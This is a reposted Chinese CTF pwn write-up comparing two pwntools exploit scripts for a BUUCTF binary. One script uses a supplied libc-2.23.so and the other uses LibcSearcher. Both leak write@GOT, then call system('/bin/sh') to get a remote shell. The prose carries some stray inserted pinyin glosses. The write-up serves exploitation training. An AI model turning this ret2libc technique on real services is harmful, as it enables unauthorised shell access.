CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别
生活随笔
收集整理的這篇文章主要介紹了
CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
做了一道題目,它提供了 libc文件;
這道題 可以使用 libc-2.23.so文件 來(lái) 解出來(lái), 也可以不使用;
當(dāng)使用 libc2.23.so文件時(shí) EXp為
from pwn import * p = remote("node3.buuoj.cn",29829) libc=ELF('libc-2.23.so') elf = ELF('./pwn1') write_plt = elf.plt['write'] write_got = elf.got['write'] main = 0x08048825 payload1 = "\0" + "\xff"*7 p.sendline(payload1) p.recvuntil("Correct\n") payload2 = "a"*0xe7+'a'*4 +p32(write_plt) +p32(main)+ p32(1)+p32(write_got)+p32(0x8) p.sendline(payload2) write_addr=u32(p.recv(4)) offset = write_addr - libc.sym['write'] system_addr=offset+libc.sym['system'] bin_sh_addr=offset+libc.search('/bin/sh').next() p.sendline(payload1) p.recvuntil('Correct\n') payload3 = "a"*0xe7 + 'a'*4 +p32(system_addr) + p32(0) + p32(bin_sh_addr) p.sendline(payload3) p.interactive()不使用的情況下 EXP:
from pwn import * from LibcSearcher import * p=remote('node3.buuoj.cn',26210) elf=ELF('./pwn1') write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=0x8048825 payload1='\0'+'\xff'*7 p.sendline(payload1) p.recvline() payload2='a'*(0xe7 + 0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.sendline(payload2) write_addr=u32(p.recv(4)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_sh_addr=libc_base+libc.dump('str_bin_sh') p.sendline(payload1) p.recvline() payload3='a'*(0xe7 + 0x4)+p32(system_addr) + p32(0) +p32(bin_sh_addr) p.sendline(payload3) p.interactive()兩者的差異:
有l(wèi)ibc.so文件時(shí)
1.不需要調(diào)用from LibcSearcher import *
沒有l(wèi)ibc=LibcSearcher('write',write_addr) 這一步
2.offset = write_addr - libc.sym[‘write’]
system_addr=offset+libc.sym[‘system’]
bin_sh_addr=offset+libc.search(’/bin/sh’).next()
計(jì)算偏移量 和 偏移函數(shù) 的時(shí)候: 語(yǔ)句為 libc.sym[]
找 bin_sh 位置時(shí) 語(yǔ)句為: bin_sh_addr=offset+libc.search('/bin/sh').next()
沒有l(wèi)ibc.2.23.so文件時(shí)
from LibcSearcher import *libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_sh_addr=libc_base+libc.dump('str_bin_sh')總結(jié)
以上是生活随笔為你收集整理的CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Buuctf(pwn)[OGeek201
- 下一篇: (Buuctf) [第五空间2019